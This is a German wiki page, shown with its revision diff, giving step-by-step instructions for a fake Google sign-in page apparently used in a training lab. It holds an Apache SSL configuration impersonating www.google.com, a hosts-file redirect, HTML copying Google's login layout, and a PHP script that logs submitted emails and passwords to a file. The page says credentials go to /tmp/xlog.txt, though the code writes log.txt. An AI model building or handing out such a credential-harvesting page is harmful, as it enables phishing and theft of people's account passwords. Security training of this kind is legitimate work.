Google.com: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „= Fake-Google-Login mit Apache, SSL und PHP-Logging = == Ziel == * TLS-geschützte Fake-Loginseite * Sieht aus wie Google * Loggt E-Mail + Passwort in Datei *…“)
 
 
(5 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 3: Zeile 3:
 
== Ziel ==
 
== Ziel ==
 
* TLS-geschützte Fake-Loginseite
 
* TLS-geschützte Fake-Loginseite
* Sieht aus wie Google
+
* Täuschend echtes Google-Layout
* Loggt E-Mail + Passwort in Datei
+
* Loggt E-Mail + Passwort nach /tmp/
 
* Kein nginx, kein SET, kein Frickel
 
* Kein nginx, kein SET, kein Frickel
  
 
== Voraussetzungen ==
 
== Voraussetzungen ==
 
* Zertifikate vorhanden:
 
* Zertifikate vorhanden:
** /etc/apache2/google.com.fullchain.crt
+
** /etc/apache2/star.google.com.fullchain.crt
** /etc/apache2/google.com.key
+
** /etc/apache2/star.google.com.key
  
* Apache & PHP installiert:
+
* Apache und PHP installiert:
 
  apt install apache2 php libapache2-mod-php -y
 
  apt install apache2 php libapache2-mod-php -y
  
Zeile 24: Zeile 24:
 
<pre>
 
<pre>
 
<VirtualHost *:443>
 
<VirtualHost *:443>
     ServerName google.com
+
     ServerName www.google.com
 
     DocumentRoot /var/www/html
 
     DocumentRoot /var/www/html
  
 
     SSLEngine on
 
     SSLEngine on
     SSLCertificateFile /etc/apache2/google.com.fullchain.crt
+
     SSLCertificateFile /etc/apache2/star.google.com.fullchain.crt
     SSLCertificateKeyFile /etc/apache2/google.com.key
+
     SSLCertificateKeyFile /etc/apache2/star.google.com.key
  
 
     <Directory /var/www/html>
 
     <Directory /var/www/html>
Zeile 46: Zeile 46:
  
 
== Hosts-Datei anpassen ==
 
== Hosts-Datei anpassen ==
*Auf dem Client:
 
 
  echo "127.0.0.1 google.com" >> /etc/hosts
 
  echo "127.0.0.1 google.com" >> /etc/hosts
  
 
== HTML + PHP bereitstellen ==
 
== HTML + PHP bereitstellen ==
 
*Verzeichnis: /var/www/html
 
*Verzeichnis: /var/www/html
 +
*Datei erstellen
 +
touch log.txt
 +
chown www-data:www-data log.txt
  
 
*index.html:
 
*index.html:
Zeile 60: Zeile 62:
 
   <meta charset="utf-8">
 
   <meta charset="utf-8">
 
   <style>
 
   <style>
     body { font-family: Arial, sans-serif; background: #f2f2f2; text-align: center; }
+
     body {
    .login-box {
+
      background-color: #f2f2f2;
       background: white; padding: 20px; margin: 100px auto;
+
      font-family: Arial, sans-serif;
       width: 300px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.2);
+
      margin: 0;
 +
       padding: 0;
 +
      display: flex;
 +
       justify-content: center;
 +
      align-items: center;
 +
      height: 100vh;
 
     }
 
     }
     .logo { width: 100px; margin-bottom: 10px; }
+
    .container {
     input, button {
+
      background-color: #fff;
       width: 90%; padding: 10px; margin: 10px 0;
+
      padding: 48px 40px 36px;
       border: 1px solid #ccc; border-radius: 4px;
+
      border-radius: 8px;
 +
      box-shadow: 0 1px 3px rgba(60,64,67,.3), 0 4px 8px rgba(60,64,67,.15);
 +
      max-width: 360px;
 +
      width: 100%;
 +
      box-sizing: border-box;
 +
      text-align: center;
 +
    }
 +
     .logo {
 +
      width: 75px;
 +
      margin-bottom: 24px;
 +
    }
 +
    h1 {
 +
      font-size: 24px;
 +
      font-weight: 400;
 +
      margin: 0 0 24px 0;
 +
      color: #202124;
 +
    }
 +
     input {
 +
       width: 100%;
 +
      padding: 14px;
 +
      margin: 8px 0;
 +
       border: 1px solid #dadce0;
 +
      border-radius: 4px;
 +
      font-size: 16px;
 +
      box-sizing: border-box;
 +
    }
 +
    button {
 +
      width: 100%;
 +
      background-color: #1a73e8;
 +
      color: white;
 +
      padding: 12px;
 +
      border: none;
 +
      border-radius: 4px;
 +
      font-size: 14px;
 +
      font-weight: 500;
 +
      margin-top: 24px;
 +
      cursor: pointer;
 +
    }
 +
    button:hover {
 +
      background-color: #1669c1;
 
     }
 
     }
    button { background: #1a73e8; color: white; border: none; }
 
 
   </style>
 
   </style>
 
</head>
 
</head>
 
<body>
 
<body>
   <div class="login-box">
+
   <div class="container">
     <img src="logo.png" class="logo">
+
     <img src="logo.png" class="logo" alt="Google">
     <h2>Sign in</h2>
+
     <h1>Sign in</h1>
 
     <form action="harvest.php" method="POST">
 
     <form action="harvest.php" method="POST">
 
       <input type="text" name="email" placeholder="Email" required>
 
       <input type="text" name="email" placeholder="Email" required>
Zeile 91: Zeile 136:
 
<?php
 
<?php
 
file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
 
file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
header("Location: https://www.google.com");
+
header("Location: https://you-have-been-hacked.xinux.de/");
 
exit;
 
exit;
 
?>
 
?>
 +
 
</pre>
 
</pre>
  
*Logo (optional):
+
*Logo:
** logo.png → z. B. von SET exportieren oder Screenshot nehmen
+
** Datei: /var/www/html/logo.png
 +
** Beispiel: Logo aus SET, Screenshot oder Google-Login exportieren
  
 
== Test ==
 
== Test ==
* Aufruf im Browser:
+
*Im Browser aufrufen:
 
  https://google.com
 
  https://google.com
  
 
→ Seite erscheint   
 
→ Seite erscheint   
Eingabe wird geloggt in /var/www/html/log.txt   
+
Eingaben werden in /tmp/xlog.txt geschrieben  
→ Weiterleitung zu echter Google-Seite
+
→ Weiterleitung zur echten (oder Fake-)Google-Seite

Aktuelle Version vom 21. Mai 2025, 09:10 Uhr

Fake-Google-Login mit Apache, SSL und PHP-Logging

Ziel

  • TLS-geschützte Fake-Loginseite
  • Täuschend echtes Google-Layout
  • Loggt E-Mail + Passwort nach /tmp/
  • Kein nginx, kein SET, kein Frickel

Voraussetzungen

  • Zertifikate vorhanden:
    • /etc/apache2/star.google.com.fullchain.crt
    • /etc/apache2/star.google.com.key
  • Apache und PHP installiert:
apt install apache2 php libapache2-mod-php -y

Apache für SSL konfigurieren

  • Datei bearbeiten:
vi /etc/apache2/sites-available/000-default.conf
  • Inhalt ersetzen:
<VirtualHost *:443>
    ServerName www.google.com
    DocumentRoot /var/www/html

    SSLEngine on
    SSLCertificateFile /etc/apache2/star.google.com.fullchain.crt
    SSLCertificateKeyFile /etc/apache2/star.google.com.key

    <Directory /var/www/html>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>
</VirtualHost>
  • SSL-Modul aktivieren:
a2enmod ssl
  • Apache neu starten:
systemctl restart apache2

Hosts-Datei anpassen

echo "127.0.0.1 google.com" >> /etc/hosts

HTML + PHP bereitstellen

  • Verzeichnis: /var/www/html
  • Datei erstellen
touch log.txt
chown www-data:www-data log.txt
  • index.html:
<!DOCTYPE html>
<html>
<head>
  <title>Sign in – Google Accounts</title>
  <meta charset="utf-8">
  <style>
    body {
      background-color: #f2f2f2;
      font-family: Arial, sans-serif;
      margin: 0;
      padding: 0;
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
    }
    .container {
      background-color: #fff;
      padding: 48px 40px 36px;
      border-radius: 8px;
      box-shadow: 0 1px 3px rgba(60,64,67,.3), 0 4px 8px rgba(60,64,67,.15);
      max-width: 360px;
      width: 100%;
      box-sizing: border-box;
      text-align: center;
    }
    .logo {
      width: 75px;
      margin-bottom: 24px;
    }
    h1 {
      font-size: 24px;
      font-weight: 400;
      margin: 0 0 24px 0;
      color: #202124;
    }
    input {
      width: 100%;
      padding: 14px;
      margin: 8px 0;
      border: 1px solid #dadce0;
      border-radius: 4px;
      font-size: 16px;
      box-sizing: border-box;
    }
    button {
      width: 100%;
      background-color: #1a73e8;
      color: white;
      padding: 12px;
      border: none;
      border-radius: 4px;
      font-size: 14px;
      font-weight: 500;
      margin-top: 24px;
      cursor: pointer;
    }
    button:hover {
      background-color: #1669c1;
    }
  </style>
</head>
<body>
  <div class="container">
    <img src="logo.png" class="logo" alt="Google">
    <h1>Sign in</h1>
    <form action="harvest.php" method="POST">
      <input type="text" name="email" placeholder="Email" required>
      <input type="password" name="password" placeholder="Password" required>
      <button type="submit">Sign in</button>
    </form>
  </div>
</body>
</html>
  • harvest.php:
<?php
file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
header("Location: https://you-have-been-hacked.xinux.de/");
exit;
?>

  • Logo:
    • Datei: /var/www/html/logo.png
    • Beispiel: Logo aus SET, Screenshot oder Google-Login exportieren

Test

  • Im Browser aufrufen:
https://google.com

→ Seite erscheint → Eingaben werden in /tmp/xlog.txt geschrieben → Weiterleitung zur echten (oder Fake-)Google-Seite